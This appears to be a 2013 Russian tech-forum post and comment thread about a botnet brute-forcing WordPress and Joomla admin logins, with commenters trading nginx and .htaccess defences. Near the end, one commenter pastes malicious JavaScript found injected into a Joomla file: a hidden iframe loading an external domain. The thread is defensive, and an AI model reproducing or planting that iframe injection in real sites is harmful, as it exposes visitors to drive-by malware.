Пользователь
0,8
рейтинг
4 августа 2013 в 15:11

Разработка → Большая атака ботов на Wordpress-сайты

Ориентировочно со 2 августа наблюдается массовая атака на сайты построенные на движках Wordpress (по некоторым данным также атакуются сайты на Joomla, DLE). Злоумышленники с помощью большого ботнета пытаются подобрать пароли к админкам с помощью брутфорса. Некоторые серверы не выдерживают нагрузки. Хостеры принимают различные меры по фильтрации ботов. Обширное обсуждение идет на форуме Searchengines.

Wordpress предлагает свои варианты решения: codex.wordpress.org/Brute_Force_Attacks

В логах на сервере это выглядит как-то так:
93.73.186.55 funshow.ru POST /wp-login.php HTTP/1.0
178.223.136.215 funshow.ru POST /wp-login.php HTTP/1.0
178.68.139.101 funshow.ru POST /wp-login.php HTTP/1.0
99.162.150.102 funshow.ru POST /wp-login.php HTTP/1.0


Как вариант следует убедиться, что админский пароль к сайту устойчив для подбора.
Turbo @Turbo
карма
22,0
рейтинг 0,8
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (48)

  • –13
    Детский сад. И ваше «Обширное обсуждение идет на форуме Searchengines» — детский сад.
    • +4
      У меня пару серверов в даун ушло из-за этого. Несколько сайтов там на Вордпрессе брутили. Пришлось смотреть в чем проблема.
      • +3
        Хостер мой, конечно, позакрывал админку и login, но и без того было перенаправление, установленное плагином Better WP Security.
        Удивляет, что кто-то им не пользуется, т.к. он во всех рекомендациях к wp упоминается.
        Особенно, доставляет автоматический бан за брутфорс и обращения к 404. И неплохо бы ставить ограничение на вход со своих IPшников.

        Согласен, что это не проблема для большинства хабраюзеров, но wp часто используют не админы, а «продвинутые» пользователи, у которых настройка примитивной защиты займёт часы или дни.
        • 0
          Я вот не знал, спасибо. Раньше проблем не было, сейчас и меня зацепило.
        • 0
          Поставил этот долбанный плагин, настроил все, проверил все — работает и сайт и защита, сразу начало брутофорсеров логировать.

          Утром просыпаюсь, в метрику — а там провал. У меня душа в пятки. Сайт открывается. Думаю, может занесли в блек лист какой-то из сайтов на IP на котором вишу. Нет, все нормально. И тут я открыл статью и получил 404-ую. Эта зараза, взяла и сбросила настройки постоянных ссылок. Самое интересное, что все ведь проверял, но, скорее всего мне кеш отдавался.
          После ребилда все заработало, но ночь трафика потеряна и еще не понятно, что с поисковыми позициями будет.
          У меня один раз яша словил .htaccess в корне (по ошибке буквально на минуту туда отправленный) с полным запретом доступа, так выкинул все страницы из индекса и 4 месяца все восстанавливал. Так что тут, что хочешь можно ждать :)

          Впредь, по 50 раз буду все проверять, особенно, когда такие плагины ставить буду.
  • –14
    В мире столько всего брутят… данная «атака» не достойна хабра
    • НЛО прилетело и опубликовало эту надпись здесь
  • +3
    Все время все долбятся на wordpress и на ssh и на фтп, по моему этому явлению уже годы.
  • +4
    Не соглашусь. Атака на самом деле достаточно серьезная. У меня в блек лист пордяка 10 тыс ip ушло, причем на wp всего 5 сайтов. Пока на всех wp-login не прикрыл сервак вешался минут за 20-30. А учитывая массовость, я думаю что все же новость «достойная».
  • +4
    Серваки ни разу не ложились из-за этой атаки.
    Подбор активней чем обычно — да.
    Решается дополнительной HTTP-авторизацией на wp-login.php
  • +1
    Spaceweb из-за этого прикрыл админку сайтов на Joomla и Wordpress.
  • +1
    Подбор на пару порядков активней шел.
    Решил доп.авторизацией, плюс добавил ограничение на ip.

    Кстати, коллеги, подскажите пожалуйста, у меня часть WP на nginx+php-fpm и с таким доп.ограничением были проблемы:
    Написал вот так, чтобы заработало:

    location = /wp-login.php {
    allow xx.yy.0.0/16;
    deny all;

    # без этого участка обращение к wp_login.php предлагало его просто скачать, а не выполнить
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
    fastcgi_pass php;

    # запрашиваем доп пароль:
    auth_basic «Hi! Admin»;
    auth_basic_user_file /etc/nginx/adminpasswd;
    }

    Интересует, как можно было бы избавиться от средней части (чтобы не предлагало скачать, а выполняло скрипт).
    Хотелось бы, чтобы директивы

    allow xx.yy.0.0/16;
    deny all;

    просто запретили или пропустили дальше на следующие правила. Что то моих знаний не хватает с такой проблемой разобраться, пришлось городить среднюю часть.
    • 0
      на сколько я понимаю в настройке nginx, вы сделали отдельный локейшн для файла wp-login.php, следовательно nginx думает что это обычный файл, правильно будет

      location =/wp-login.php {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
        fastcgi_pass php;
        allow xx.yy.0.0/16;
        deny all;
        auth_basic «Hi! Admin»;
        auth_basic_user_file /etc/nginx/adminpasswd;
      }
      • 0
        Спасибо за совет.
        Но, вроде, мой код чуть лучше — сначала идет проверка на доступность текущему пользователю и только если он попадает в заданный диапазон, происходит парсинг входной строки, подключение параметров и уже затем выполнение скрипта.
        Может как то проще можно дать разрешение только нужному диапазону и потребовать доп.аутентификацию для файла wp-login.

        Для апача такую реализацию получилось сделать гораздо проще и быстрее ( с .htaccess больше приходилось работать, чем с nginx)
  • +1
    Брутили админку IPB, очень упорно, поразительно упорно.
  • +3
    Защитил свои wordpress сайты так
    ## Block user agents
    		location ~ ^/(wp-login\.php) {
                    	set $block_user_agents 0;
    			if ($http_user_agent ~ "Gecko/20100101 Firefox/1") {
    				set $block_user_agents 1;
    			}
    			if ($block_user_agents = 1) {
    				return 403;
    			}
    			proxy_pass http://159.253.23.246:8080;
    			proxy_redirect http://ipod-touch-max.ru:8080/ /;
    			proxy_set_header Host $host;
    			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    			proxy_set_header X-Real-IP $remote_addr;
    
      		}		
    		## Block user agents
    
    
    • 0
      Спам боты преимущество имеют user-agent «Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0».
      • 0
        не только

        108.170.22.211 — - [04/Aug/2013:00:09:29 +0200] «POST /administrator/index.php HTTP/1.0» 200 455 «-.ru/administrator/index.php» «Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10»

        на одном опера, на другом мозилла
    • 0
      Вот так можно еще попробовать (если внимательно логи посмотреть).

      if ($http_referer !~* ^($|https?://) ){
      return 403;
      }
  • 0
    Странно, но из 6-ти сайтов на WordPress у меня брутили только один… Решил вопрос автоматическим занесением IP негодяев в iptables.
    Думаю потом также автоматизированно разослать письма негодования владельцам «засветившихся» IP-адресов, чтобы уже навели порядок.
    • 0
      Да, брутили из 5 только 1, но с IP-адресами полный треш.
      Сотни их, тысячи!
      • 0
        У меня пока около 1500 IP в iptables попало… Вроде и не очень много, а вроде и не мало…
    • 0
      Будете рассылать, этим можете послать. Это те которые в wp-admin ломятся :)
      pastebin.com/D4UmWphR
  • +1
    Ну и я тогда свои 5 копеек добавлю.

    <IfModule mod_rewrite.c>
    
    # BEGIN WordPress
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    # END WordPress
    
    # anti wp password bruteforce attack
    RewriteCond %{REQUEST_URI} wp-login.php|wp-admin
    RewriteCond %{HTTP_USER_AGENT} !^Opera/[0-9.]+
    RewriteRule . - [R=404,L]
    # end anti wp password bruteforce
    
    </IfModule>
    
    php_value upload_max_filesize 4M
    
    


    В админку попадут только юзеры использующие оперу, а для остальных — 404.
    Учитывая что обычно ботами в User-Agent используется «Mozilla/5.0», это пока работает.
    • 0
      Кстати, еще можно задать в браузере свой юзер-агент, на пример через этот плагин: addons.opera.com/en/extensions/details/user-agent-changer/
      И авторизовывать (пускать к wp-login.php) только с ним. Хотя это и не очень удобно.
  • 0
    Ага брутят. Когда 100500 сайтов на WP это весьма заметно.
  • 0
    В наше тяжелое время без двойной авторизации уже никуда. Самое примитивное — сначала http авторизация (.htaccess) чтобы добраться до login.php. Или посложнее — чтобы логин не проигнорировал запрос, перед этим этот же ИП должен просто зайти на определенный секретный УРЛ с «пустой» страницей. Или еще сложнее — патч к ядру, который ловит нестандартный пинг и открывает порт ;)
  • 0
    Reg.ru тоже прикрыли админку
  • 0
    Да все подряд админ-панели прикрывают, а у меня ещё и ФТП закрыли…
  • +4
    Для тех кто считает, что это недостойно хабра — ботнет больше 100 тыс. машин и растет, не припомню атаки таких размеров на wordpress.

    Для примера на одном из серверов около 15 сайтов на wordpress, по статистике apache примерно 90-95% запросов к сайтам это подбор паролей, можно представить насколько увеличилась нагрузка на сервер, трафик.

    Для тех кто добавляет ip ботена в блеклист — ботнет в том числе из зараженных компьютеров пользователей, которые не смогут попасть к вам на сайты.

    Письмо от хостера beget,ru, немного больше подробностей:

    В течении последних двух дней идет активный перебор паролей на популярных CMS.
    Ботнет, с которого осуществляется перебор, паролей превышает 100000 машин и постоянно
    увеличивается, и, как показала практика, часть ботнета — компьютеры обычных
    пользователей, зараженных вирусом. Блокирование таких ботов приводит к недоступности
    сайтов у данных пользователей.

    После взлома сайта, через инсталяцию вредоносного кода сайт подключается к
    перебору паролей на других серверах. Тут нужно пояснить, что в данном случае
    подвержены проблемам не только наши сервера, перебор паролей осуществляется
    глобально.

    • 0
      Чтобы не травмировать пользователей, надо смотреть что за ip блочится. Загнал диапазоны ip популярных хостеров России и мира — нагрузка ощутимо снизилась.
      • 0
        Главное гугло-бота случайно не заблочить. :)
  • 0
    Еще, например, популярный linode.com также под атакой: status
  • +3
    Попробуйте плагин Protected wp-login для защиты wp от брутфорс атак.

    image

    Из особенностей:
    * снижение нагрузки от брутфорса.
    * дополнительная защита от взлома.
    * простота настройки и установки
    * минимальная нагрузка на сайт от плагина. (очень легкий)
    * есть русская локализация

    Домашняя страничка плагина: themext.com/
    Ссылка в каталоге wordpress.org/plugins/protected-wp-login/
  • 0
    Спасибо, очень своевременно. Доля запросов к wp-login.php 28.11% Не самый слабый виртуальный сервер ложился уже раза три.
    • 0
      ну и вдогонку — top10:
           67 115.146.188.42
           67 176.31.89.249
           70 188.143.233.174
           81 195.175.30.134
           88 184.82.179.165
          160 115.254.15.78
          290 178.78.21.16
          899 184.82.179.115
         1240 217.113.120.70
        24764 187.210.11.100

  • 0
    Попробовать fail2ban, есть и как плагин здесь.
    Хотя гораздо проще руками, если есть понятие как работают фильтры fail2ban.
    У меня обычно им «защищено» все что можно от pam-generic и ssh до мыла и веб-морды. Не панацея, но от брута (хотя бы в смысле экономии трафика) спасает очень.
    Хорошая практика закрыть вообще любые админки и открывать белым списком IP «по стуку» или после дерганья секретного URL по https.
  • 0
    Пару дней назад как раз отказалась показываться страница wp-admin.php, долго и безрезультатно бился.
    Nginx на запрос страницы выбрасывал 404, что было крайне странно. Т.к. прямого доступа к хосту не было не смог глянуть что там творится.
    А оказывается вот оно что…
  • 0
    более универсальный вариант, на уровне nginx — идея запретить доступ к wp-login.php всем кто не из России

    http {
    ......
    geoip_country /usr/share/GeoIP/GeoIP.dat;
        map $geoip_country_code $allowed_country {
            default no;
            RU yes;
            UA yes;
        }
        server{
                   location ~ ^/(wp-login\.php) {
    			if ($allowed_country = no) {
    				return 444;
    			}
                   }
        }
    }
    
    
  • 0
    Вообще-то не с 2-го, а гораздо раньше. Мой бложик с месяц уже активно брутфорсят. Какое было мое удивление, когда я обнаружил error_log размером 14 гигов. В итоге дабы error_log опять не расползался пришлось прикрутить через .htaccess дополнительную авторизацию на wp-login.php Не уверен, что это правильно, но работает.
  • 0
    Есть жертвы!

    Яндекс шлет письма о вредоносном коде.

    Почти все джумлы на аккаунте (штук 10) в файле media/system/js/caption.js добавлен код в конец
    var ifYnXm3 = document.createElement('iframe');
    ifYnXm3.name = 'ifYnXm3';
    ifYnXm3.src = 'хттп://asnem .listen-it .com/';
    ifYnXm3.style.width = '0px';
    ifYnXm3.style.height = '0px';
    window.onload = function() {
    if (document.cookie.indexOf('ifYnXm3=') == -1) { 
    document.getElementsByTagName('body')[0].appendChild(ifYnXm3); 
    document.cookie = 'ifYnXm3=yes; 
    path=/; 
    expires=Wednesday, 18-May-33 03:33:20 GMT';}
    };
    


    дата изменения файлов не изменена!

    Такой же код как минимум в одном файле jquery.min

    Как искать дыру? Могли ли они залить скрипт на сервер? Смена паролей решит проблему?
    • 0
      Уверены что это только сейчас случилось? Тем более что если все сайты разом, то больше похоже что через FTP меняли.
      • 0
        Яндекс только вчера прислал письма о заражении двух сайтов. Про остальные пока молчит. Они почти мертвые, оставлю как есть, посмотрю как быстро яндекс их заметит.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.